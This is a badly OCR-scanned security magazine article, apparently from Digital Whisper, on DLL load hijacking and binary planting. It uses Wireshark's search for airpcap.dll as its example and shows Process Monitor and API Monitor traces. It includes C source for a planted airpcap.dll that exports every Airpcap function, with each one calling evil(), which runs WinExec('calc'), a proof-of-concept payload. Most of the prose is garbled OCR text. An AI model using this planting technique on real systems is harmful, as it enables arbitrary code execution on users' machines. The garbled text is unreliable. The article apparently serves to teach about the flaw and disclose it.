llan (NG!) AelionThank llan, Couldn't have done it without you; You're the man!
Also, I'd like to thank to :

Moshe Vered Thanks fothe support/help!

Matthew Carpenter Thanks for your words on hard times.

And thanks for Phrack of which I've taken the TXT design. May the lord be with you.

~

.Samsung Electronics: ~ * 1 * ¢, 5 =~ X(¥) <« 1+ A

Noxo X
http://imthezuk.blogspot.com
http://www.preincidentassessment.com
@ihackbanme- 1 4 x xit22000 pat} gmail.com: * ¢ ~ _ L X~ L X .~ <« o~ X\

LR G s X

o

The APCS ARM Calling Convention: .~
http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042d/IHI0042D_aapcs.pdf

x

AlphaNumeric Shellcodes when stack is executable:
http://dragos.com/psj09/pacsec2009-arm-alpha.pdf

Alphanumeric ARM shellcode: .¥
http:/www.phrack.com/issues.html?issue=66&id=12

x4 s X d LSEIRAM) T A T 43 . Xy Tlds o Ix 1y
contexo . .~ _ ~ _ 'S
http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf

1L 1s

(A X))y sy X ox X oy xd®ds L 4]

http://imthezuk.blogspot.com
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17 T« d 1 xsPx 4%

AN

v, X I o L. s ™y xs x o |Djgital Whisper L X XXX < . s T X 4 ¥
J A{yv « X S ‘IJ~XWS I_‘xst.|s'|"5x
= x « , S . . X X ¥y . X S LoX X X

~ ~ ~

AL A s s L ¥ T 4s T, X x {4l x 504§
DX XX, xX. .|>||_:J\ Csxl 4 R SR R

T2 U WA A DA F posss G L X X X 11X s

S 4T KL 4x ] YIXXs, ¥ -|v~1sl|_sJ-| EoL .

% B X X5 o x 1S

Ix A B S BN I I S I ST R 4 x I s s
x e, nx @) 1 b s RHA L T ]

S X L TS Xy X e xs T X oA e s XX dfs x
vax|~x'|vs -|A|v>< “')(Y].X‘|1AY)1XSVXAS(L5 'I‘l",xi)th,SNYY(Xd{S
11 _ .8 s.xos e " ks e A8 e p LK S A S

X L

~ ~

LX oL Fd X ws v 4] 4R e A Y ST s %X L, 1

6 3

+ ~

S

¢

|.

. - ol e xd4axre
LR E X TSPOC i x J o s X Dx X X
115 8w e s s b Osl oA ) e s MpIss AT X T s s
1 (A yssXd <« s b4 o x T s s b D E XYL s T X2 L
box T 0 X X1 s
N N N
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X XXX X Q 'I:JXV‘SX sx)’:%(xvs\N ‘L=>§Jv,¢,v\1"|_ |

E " _ .7 . CX VA NI .

LTaxex 4 (Frex s} fes e p e sqLl s e H pd T T b x
X x 1L ss X Txd s 4
A X k) S T sy
|_S-|.""-|XXXJV oL :g“ F F o .
PSP D N2 0 L r s

Lx 14 T4 v ss oSy A,k T, s X S d4Ixs x sy L X
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Biting the hand with DLL Load Hijacking and

Binary Planting

ThelLeadef - _

S « S
DLL ¥y x - x | x 1 .DLULoadHH{atking / Bihary Plantingx _ . x 1> «x 4 s ¢
X T o0 LOHTT L s TR ST N O N s 1 1 -) Load HijdcKing 1 L. DX
L . YPRwject Metasploit « . ! _ 14 _ s x)HDMdofe+1S_ ~Xx 1, s T xx o X s7”
x XLt x -4 _ L x s L ST 1 X« q,0 ¢ 13 = « 4 Metasploit x ¥ - ox
Windows s . | s s Sl XL« ST A1 X+(; HAX KL p A H” - xv i H1-
DLL Lod Hijacking ¢ _ ~* _~«~ s 1« s s lox oxlsq 1 x 7"
.DLL x s _ -4 sc o1 4+~ DBLLALoad Hijackings ¢~ 45> ¢ 7
s A A T o o AT x s e s dRdde o 7 dASsE 0 D L) Dlbk4s s 44 .
ceo X M e e A ss oyser32.diE ¢ 14 - ) sMessageBexA X 4 . T x X L L
MessageBoxAs 4 « « 7 x ss 1 o X X{ X q X S ©oxusex32.dilss 4X4 7., 0 S Xiie L
S 14~ s
1 P, o~ S o e sy SS) RAM Tk ST o x s 0 ] o x T x €
L TATXAT LS s x s Dxe T o v 4 x4 414 s
Tixer b4 oY AT xp o Jec ¥l s dxe o x X x s X ], ] x DX
D I . X X X ]
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S ~
Pgm 1 stk
Fon e ot
DLL Pem 2 heap
Pem 1 /cude
Code Pgm1 Pem 2
calls gm Pem?2
DLL calls Code
DLL
DLL heap
i 0-=1-=2-=..
Pam1 DLL
1 |mofm ()
Call myfin () | f
static int i = 0;
i+
Pgm 2 2.1
Call myfn ()
http://www.cs.binghamton.edu/~reckert/360/19_dIl_f03.html|Binghamton1'” Richard R. Eckert s ! x :
DLL + 1" x
s " XASE ~ ¥ ¥ { . <)dLeadLibraryA . s,d 4~ | | N . I S NN
. LSt s L x 1A 1 ™ pFxoss JIL ¥ H o944 ¢ s soffdLibraty 1 7
s _ L XX DLES + + _ "LoaéLibraryA s 41 - « 7 X [DadLibraryA s {1 . « " x
5 . 17 I x st 47X, sCr v AH. TDLLET % A i TSI T T s
. linkage ~ * _ 1 (Compilatidnx ~ x I 4 ss ., T« s4%. 8
N L U kerned32.dll 7« oso"xxl X, s L. s X { L X
S X ¢ s 44, WIin32: 4 "Lk L 9« I Ix X 1.1 X
Coxq il s 71 DX ox o, s - x Kkernel32dIl s
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. Hellg" - | xs 4w s «{s s S . X s D

#include <windows.h>
typedef void (*FUNCPTR)(int, void*, void*, int);
FUNCPTR MessageBoxA_func;

int main()

HMODULE lib_user32 = LoadLibraryA("user32.dll");

MessageBoxA _func = (FUNCPTR)(GetProcAddress(lib_user32,
"MessageBoxA");

MessageBoxA_ func(0, "Hello.", "Hello!", MB_OK);

return O;
}
‘I L(!)Xv) ” I S n
| C:\>dev -cpp\ projects \ msg\ msg.exe |
S , X o NZ_x sj i . . Fd . X . -|Z;‘s>xx - ]s,;xxl‘;,x“s:sv ~s S{:,‘”“A xR . ss { 4 . . s
1 pd X s pusef32.dll” ** x s - LoadLibraryl s 1 « 47" ¥ x's 4 | S 1. x 7
-, | S
Cldewcpp\ projectdamsg i x " o 47 I x s 10 o 7 x XX

Clwindows system32 i %windir%system32 * { .2 s
Clwindows system i %windir%hsystem * {1 .3 s

C\i X" L _ 47 Ix:is (§14x%s x¢)Curfelt kg Dirtctory .4
PATH s x4 * s s 0 X By " {4 Xx . P
LoadLibrary s 1 « « 2% 7 8 < ., s P14 TS wuser32.dll Xr v+ S "X (S 4SS s s
C\ x4 "x X 1 X . :~>-|VS
Lo Se X le o sx e 1 d4x s ~ Windows Bxploreft 4 + 1 1+ x * x. ]
x 7 {s 4" ] x s :\,,xv x"vv~ 11JX”SExpiIofeP<T2X1'§"%d3" xx’
Y X A x s ot x AN s WXL X . S S A T s
A 0 0 s A4 (PCAP X S, )" WideShakx” ] x X5 X 1 | , X
a7 x X DLEs: ":s« %X L|badLibfary”,1 *x4 " x _« ., s P4 s N
L(_ _DiskOnKey @ x )} XX XX G N S TR T T B A e O T SE BN SR
-L « ~WireShark ~ _ « .k DL _ * PGAP _ Xix X { . " Ki X 7 .o oS

+ 47 x _«.s p4Xx 4" s LoadLibraryDEEs x © ¥ « = x |dadLibfary 1 . 1 " *

~

Cv v LD PGAPS X X« o« v " x X LoadLibrdng T Ko ooy 04

~ ~~

17 | x s . X S =] I_A,,x]v\ Ll XIA'IXV‘VL As~,,\,,“{1:~§ quVIDHL-AS X ¥ X%

~

PWNED | X « . «xiis¥ L _  © x4 .." xPP __ WireShark
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A T

:Sysinternals . Process Monitor -
http:/technet.microsoft.com/enus/sysinternals/bb896645.aspx

:Rohitab . API Motitor -
http://www.rohitab.com/apimonitor

:Bloodshed DexC++ -
/nttp://sourceforge.net/projects/devcpp/files/Binaries

24(L 7 X) OllyDBG--
/http://www.ollydbg.de

Lox Txq 4 =

‘WireShark 1.2.10 -
http://media-2.cacetech.com/wireshark/win32/wireshigwin32-1.2.10.exe

S 4 A« A, WPCAPIT . x4 s 4L % 4 < OWireShak i xe | TLARNXIET e X X 7 x

PCAP: _ x4 % 4. té&stdic - X ¥" s ]I %xx s 7

~ s . 111 $ProcéessMonitoy x < x g 4! x> 41 s . T 47
Coumn Relation Value Action
Path begins with [path to testdir] Include
Process Name is wireshark.exe Include

X" s 14«47 L - OK L, T s s t
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:CTRL+H s I x 1 Cxe 4 x L 1 IHighlight % -Ax 4 1 4 A* sx” 77
Column Relation Value Action
Path ends with dll Include
Path ends with .0CX Include
Path ends with drv Include
Path ends with .Sys Include
Path contains % Include
L1, PCAP ¢ 1% «x. %X o 42417 s |« X Protess Monitorx _~4i¥4L” Ti4 Sl s |
XX o«
12:48:02.7132351 5312 BACreatefile C:\Users\ \Desktop'testdir SUCCESS Desired Access: Execute/ ...
12:48:03.9652544 5312 BAQueryOpen C:\Users\ \Desktop'testdir\wpcap FAST IO DISAL...
12:48:03.9653514 5312 B.Createﬁle C:A\Users\ \Desktop‘testdir\wpcap NAME NOT FO... Desired Access: Read Attri...
12:48:03.9654540 5312 ShQueryOpen C\Users\ \Desktop'testdirwpcap.dl ~ FAST IO DISAL...
12:48:03.9655205 5312 gﬁeateﬁle C:\Users\ \Desktop'testdir'wpcap.dil NAME NOT FO... Desired Access: Read Attri...
12:48:03.9656070 5312 hQueryOpen C:\Users\ \Desktop'testdir\wpcap la FAST 10 DISAL...
12:48:03.9656724 5312 BhCreatefile C:\Users\ ‘\Desktop'testdir\wpcap la NAME NOT FO... Desired Access: Read Attri...
12:48:04.0858487 5312 BAQueryOpen C:A\Users', \Desktop'testdir\packet FAST 10 DISAL...
12:48:04.0859276 5312 BhCreatefile C:\Users\ \Desktop'testdir\packet NAME NOT FO... Desired Access: Read Attri...
12:48:04.0860152 5312 A QueryOpen C:\Users\ \Desktop'testdir\packet.dl ~ FAST IO DISAL...
12:48:04.0860809 5312 r:.3.CrealeF|Ie C:\Users\ \Desktop'testdir\packet.dl  NAME NOT FO... Desired Access: Read Attri...
12:48:04.0861660 5312 gQuefyOpen C:\Users\ ‘\Desktop‘testdir\packet la FAST 10 DISAL...
12:48:04.0862318 5312 BC:eateFlle C\Users\, \Desktop'testdir\packet la NAME NOT FO... Desired Access: Read Aftri...
12:48:04.0969239 5312 BQueryOpen C:\Users\ \Desktop'testdir\aipcap.dl  FAST IO DISAL...
12:48:04.0969557 5312 “ACreateFile C:\Users\ \Desktop'testdiraipcap.dl ~ NAME NOT FO... Desired Access: Read Attri...
12:48:04 6795599 5312 ZhQueryOpen C:\Users\ \Desktop'testdir\iibint-8.dll  FAST IO DISAL...
12:48:04 6796664 5312 BACreateFile C:\Users\ \Desktop'testdir\libintl-8.dl  NAME NOT FO... Desired Access: Read Aftri...
12:48:08.7482405 5312 gﬁeateﬁle C:A\Users\ \Desktop'testdir SUCCESS Desired Access: Read Dat...
12:48:08.7482663 5312 BQueryDiredory C:\Users\ \Desktop‘testdir'x.pcap SUCCESS Filter: x pcap, 1:x.pcap
12:48:08.7482525 5312 gaoseﬁle CA\Users\ \Desktoptestdir SUCCESS
12:48:08.7483954 5312 BhCreatefile C:\Users\ \Desktop'testdir'x pcap SUCCESS Desired Access: Generic R...
12:48:08.7484633 5312 A ReadFile C:A\Users\ \Desktop'testdir'x pcap ENDOFFILE  Offset: 0, Length: 16,384, ...
12:48:08.7485611 5312 BhCreatefile C:A\Users\ \Desktop'testdir'x.pcap SUCCESS Desired Access: Generic R...
12:48:08.7485571 5312 B\ ReadFile C:\Users', \Desktop'testdir'x.pcap ENDOF FILE  Offset: 0, Length: 16,384, ...
12:48:08.7486145 5312 Bk ReadFile C:\Users\ \Desktop'testdir'x pcap ENDOFFILE  Offset: 0, Length: 16,384, ...
12:48:08.7486269 5312 gCloseFlle CA\Users\ \Desktop‘testdir'x pcap SUCCESS
12:48:08.7486454 5312 BOoseFﬂe CA\Users\ \Desktoptestdir'x pcap SUCCESS
=$?:'|‘ s~xA \xs_x"sl_v~ =°.|>°<>s‘ts s,_v~""><.|:”sv :x.{,,>v =xA
OO I s L X D X T X s XSS & : « XS O NN X A

x LohdLibrary & + < « 7 x s Xx

_X.X\.

airpcapdill v st x Oser32.dif 4 4 « d 9/ ix 7ox Do, X 17

C:\>copy C: \windows \ system32 \ user32.dll Users \ user \ testdir
\ airpcap.dll
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DynamieLink ~ + _ APT Captdre Filter+ _ * s * A -AP{ Monitor_ 4~ oo 7
:Library
API Capture Filter o (&3
All Modules v
-] Jf] Dynamic Data Exchange Managen »
-] Jf] Dynamic Host Configuration Prot:
=-[¥] ] pynamic-Link Library
=-[¥] 3 Kernel32.dll
----- 3 DisableThreadLibraryCalls
----- [Z] FreeLibrary .
----- =] FreeLibraryAndExitThread
----- [Z] GetDlIDirectoryA =
GetDIIDirectoryW | =
----- GetModuleFileNameA
..... =] GetModuleFileNameW
..... [Z] GetModuleHandleA
..... [Z] GetModuleHandleExA
..... [Z] GetModuleHandleExwW
[Z] GetModuleHandleW
[Z] GetProcAddress
[Z] LoadLibraryA
[Z] LoadLibraryExA
[Z] LoadLibraryExw
[Z] LoadLibraryw
[Z] LoadModule
SetDIIDirectoryA
[Z] setDIIDirectoryW
-] Jl] Error Handling
- 1 B Event Loaaing 2
< | m | )
1., 1vx {4111 :HNoeking « . APLMotitor-» " * . % | x €
:CTRL+H 4 4 ¢ s Hook © 4« @~
,Hook Process ‘, X ,1\
i Type the location of a process, and specify the arguments (optional) and
startup directory for the process, and API Monitor will hook it for you.
Process: C:\Program Files\Wireshark\wireshark.exe
Arguments: VX-DCBD
Startin: E:Mse?s\i 7\Esrk€opr\hgﬁir '
Hook Using: |Remote Thread v}
Lo ][ cone
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~ « _ " altpeap.dt GTRL+R.” DLEs = 17 x X

Summary: 683 Calls

# TID Module API Q, Return >

47 7508 libgmodule-2.0-0.dll  GetProcAddress (0x001 00, "PacketCloseAdapter”) 0x001 c3af0

43 7508 libgmodule-2.0-0.dll  GetProcAddress [ 0x001c0000, “PacketRequest”) 0x001c4320

49 7508 wireshark.exe LoadLibraryW ( “airpcap.dil”) 0x53d00000 m

50 7508 wireshark.exe GetProcAddr , “AirpcapGetLastError”) NULL

51 7508 wireshark.exe , "AirpcapGetDevicelist” ) NULL

52 7508 wireshark.exe GetProcAddr: ., “AirpcapFreeDevicelist™) NULL

53 7508 wireshark.exe GetProcAddr . “AirpcapOpen”) NULL

54 7508 wireshark.exe GetProcAddr , “AirpcapClose™) NULL

55 7508 wireshark.exe , “AirpcapGetlinkType”) NULL

56 7508 wireshark.exe , “AirpcapSetLinkType” ) NULL

57 7508 wireshark.exe , "AirpcapSetKernelBuffer”) NULL

58 7508 wireshark.exe , “AirpcapSetFilter”) NULL

59 7508 wireshark.exe GetProcAddr , “AirpcapGetMacAddress™) NULL

60 7508 wireshark.exe GetProcAddr: , "AirpcapSetMinToCopy™) NULL

61 7508 wireshark.exe GetProcAddr . "AirpcapGetReadEvent”) NULL

62 7508 wireshark.exe “AirpcapRead”) NULL

63 7508 wireshark.exe , “AirpcapGetStats™ ) NULL

64 7508 wireshark.exe , “AirpcapTurnLedOn”) NULL

65 7508 wireshark.exe , “AirpcapTurnlLedOff”) NULL

66 7508 wireshark.exe , "AirpcapGetDeviceChannel”) NULL

67 7508 wireshark.exe , “AirpcapSetDeviceChannel” ) NULL

68 7508 wireshark.exe , "AirpcapGetFesPresence”) NULL

69 7508 wireshark.exe GetProcAddr . “AirpcapSetFcsPresence”) NULL

70 7508 wireshark.exe GetProcAddr: “AirpcapGetFesValidation™) NULL

71 7508 wireshark.exe G )0. "AirpcanSetFesValidation™) NUILE v

< | | »
Wide chars 1 J LoadHlibraryWw s {1 . « 7 x Ox63d0D0O0Q - * x © I 4~ = xDLkS _ ~

X . . X D O L L

a ~ >

« XPONULL 0 sf o« oS

_ S ] WieShark | 1 _ ~ ¢, .8adllibbary o « x -
s, ¢1s +.1~» s _ 1) -, ‘GetRrdcAdiress: s{{ .« « " x
U~ ¥4 « yGetProcAddiess _

?” x usér32.dll 1 xAirgcapSetFilter

x4 ] x

L s I X

*

AN B I

~ ) FC:TRL+E3}(L 1's ){CTRL + A]

1 %) 0x63d00000 © X X I s 47 x x4 .7 x s slxX,

N ~ > ~ 7 A

(1 o Notepad++ Y « s

S
1

F

>

X

L

S

L

st las

U

AirpcapGetLastError, AirpcapGetDevicelist, AirpcapFreeDevicelist,

AirpcapOpen, AirpcapClose, AirpcapGetLinkType, AirpcapSetLinkType,
AirpcapSetKernelBuffer, AirpcapSetFilter, AirpcapGetM acAddress,
AirpcapSetMinToCopy, AirpcapGetReadEvent, AirpcapRead, AirpcapGetStats,
AirpcapTurnLedOn, AirpcapTurnLedOff, AirpcapGetDeviceChannel,
AirpcapSetDeviceChannel, AirpcapGetFcsPresence, AirpcapSetFcsPresence,
AirpcapGetFcsValidation, AirpcapSetFcsVa lidation, AirpcapGetDeviceKeys,
AirpcapSetDeviceKeys, AirpcapGetDecryptionState,

AirpcapSetDecryptionState, AirpcapStoreCurConfigAsAdapterDefault,
AirpcapGetVersion, AirpcapGetDriverDecryptionState,
AirpcapSetDriverDecryptionState, AirpcapGetDriverKeys,

Ai rpcapSetDriverKeys, AirpcapSetDeviceChannelEx,
AirpcapGetDeviceChannelEx, AirpcapGetDeviceSupportedChannels
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#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void AirpcapGetDeviceList() { evil(); }
DLLIMPORT void AirpcapFreeDeviceList() { evil(); }

DLLI MPORT void AirpcapOpen() { evil(); }

DLLIMPORT void AirpcapClose() { evil(); }

DLLIMPORT void AirpcapGetLinkType() { evil(); }
DLLIMPORT void AirpcapSetLinkType() { evil(); }
DLLIMPORT void AirpcapSetKernelBuffer() { evil(); }
DLLIMPORT void AirpcapSetFilt er() { evil(); }
DLLIMPORT void AirpcapGetMacAddress() { evil(); }
DLLIMPORT void AirpcapSetMinToCopy() { evil(); }
DLLIMPORT void AirpcapGetReadEvent() { evil(); }
DLLIMPORT void AirpcapRead() { evil(); }

DLLIMPORT void AirpcapGetStats() { evil(); }

DLLIMPORT void AirpcapTurnLedOn() { evil(); }

DLLIMPORT void AirpcapTurnLedOff() { evil(); }

DLLIMPORT void AirpcapGetDeviceChannel() { evil(); }
DLLIMPORT void AirpcapSetDeviceChannel() { evil(); }
DLLIMPORT void AirpcapGetFcsPresence() { evil(); }
DLLIMPORT void AirpcapSetFcsPresence() { evil(); }
DLLIMPORT void AirpcapGetFcsValidation() { evil(); }
DLLIMPORT void AirpcapSetFcsValidation() { evil(); }
DLLIMPORT void AirpcapGetDeviceKeys() { evil(); }
DLLIMPORT void AirpcapSetDeviceKeys() { evil(); }
DLLIMPORT void AirpcapGetDecryptionState() { evil(); }
DLLIMPORT void AirpcapSetDecryptionState() { evil(); }
DLLIMPORT void AirpcapStoreCurConfigAsAdapterDefault() { evil(); }
DLLIMPORT void AirpcapGetVersion() { evil(); }

DLLIMPORT void AirpcapGetDriverDecryptionS tate() { evil(); }
DLLIMPORT void AirpcapSetDriverDecryptionState() { evil(); }
DLLIMPORT void AirpcapGetDriverKeys() { evil(); }
DLLIMPORT void AirpcapSetDriverKeys() { evil(); }
DLLIMPORT void AirpcapSetDeviceChannelEx() { evil(); }
DLLIMPORT void Airpca  pGetDeviceChannelEx() { evil(); }
DLLIMPORT void AirpcapGetDeviceSupportedChannels() { evil(); }

int evil()

WinExec("calc", 0);

exit(0);
return O;
}
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Jairpcap.dll v _ s testdir x," - 4 0 s 44 w4 L DewCHH TX Sie oxXDos
Xy
e EEXEE AT i (EE QD #®D% % O
Filter: Y (":"E' 23 J Clear Apply
| The file "C:\Users\Neon\Desktop\testdiix.pcap” could | |Protocol Analyzer
not be opened: Uncompression error: buffer error.
I I— (EERE———— |
Interface List Open > Website
Live it of the capture interfaces (counts incoming packets) B OpenT 52 s Q o D‘e
Start capture on interface: Open Recel My v N
a Capture Options C:\Users\Ni wersion, i installed)
Start a capture with detailed options @ Sai/ (%]
A rich secursly as possible
0000 0000 0000 @000 0000 0000 0000 0000
ggee 0000 0oGe 0000 g;ee 0000 00GO wﬁé[
31 15 °
e ] & e o
(el O T el o0 eullodl el
) Oct — : —
(g How to Capture sn  ||mat|[mon]| ¢ [ 7 ][ 8 |[ o ||« ]l %
Step by step to a successful capture setup © Qerd io, on,” D |iHiHLH & ‘ 1/x
N ©Dword | | i
@ ok e owna |LtlEmllEf[2][2](s )l _]
oo [woe][ana][ FI[ 0 [ [ ]| ]
(Ol Ready to load or capture | No Packets | Profile: Default
. XX _ L4101y QlyDB FWireShark d 7 Y x 41 I x . .x s
s 4 x Fo
s X s F
L 4T T 40 oS LS 4 fod) Loadlibrary Bk < 8 T X s L o]
L o] + 1 Gurrent sWorking DireTtory . 11 Loadlibrary s 1 « « " x
Ay Xs 4 X4 s
Cldewcpp projectdmsg i x 7 o - 47 I x s 10« 7
Clwindows system32 i %windir%bsystem32 * 4 .2 s
Clwindows system i %windir%bsystem * {1 .3 s
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:OllyDBG* WireShark - «~ 1 : 7

¥ OllyDbg - wireshark.exe - [CPU - main thread, module wireshar] .s e - - f o @] %]

,Eme View Debug Plugins_Options Window _Help [-1[=]x]

=5 TALL wireshar,
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5
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L& POP_ECK -
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©9 09 09| oF 00 00 O aF 53 49) 55 4C 9
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gererizs ey o 2€ TR——
73 6E 57|74 26 &1 2a/61
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6 74 £9¢F € 20 72 27
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o 0| 25 72 SR o
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S 27 o3 o 2= 75 30 g e indles consec
Tl
) RETURN to nvdl1.77038468 frc
S 705 20/6F 7o 74 Eal e Z 5| bireshar <hods [3EntroPoint>
0 20 20 25 €3 6A £ 59 65 7Frosoon|
0 e ey elea . L Gaa0san0
At z 20000000
F 75 74 61| 74 73 5 70 & 1
2 chirdecalonn paloaree il wsumn wireshar. <Hod LeEntryPoint> [T
1 EC €3 EE|éE oa 5 #
£ €5 G2 04 €€ 72 6o bol7o eF - Sacoao0n =
Program entry paint [ [Paused

LoadLibraryt. ~ * X« 4 . w5 Lox X « X 41X s
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All intermodular calls Searchfor <4 7 _ 4« {1 1 «

[<&MSUCRIB. vfprint 5
P cess il '
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[EBP-1C1,EAX Label .
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&HMSUCRIB. _onexit . e .
©.DASEES44 feakpon
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[EBP-41,8 Run trace ’
+ [SD83EE]
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Eehaica Follow Enter
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$S: (EBP-20] Eolow ko Do FST 0020
$5: [EBP-1C1 View call tree CtrlK FCU 927F
: [EBP+8]
0S: [<&MSUCR9@. _enc Search for > Name (label) in current module Ctri+N
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i »
View Command Ctrl+F
opy to executable >
n Copy Sequence of commands Ctrl+S
g Analysis >
4 7 Constant
4 I lic nam ThH+F = 2
G Hebjonsymbolcname Sxial Binary string Ctri+B
a
2 Analyze This! Next Ctri+L
A
Bookmark » 5
L All intermodular calls
5
D Appearance > All commands ?
C
t All sequences
]
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o All switches
1 X
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2
1 e
S User-defined fabel F
5 User-defined comment
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“&1 ibwireshark.prefs_pref_foreach> vefs_pref_foreach
&l ibwireshark.prefs_apply 3 y
&1ibal (b-2.0-0.a_as511_strncaseonp> LascTi_strncasecnn
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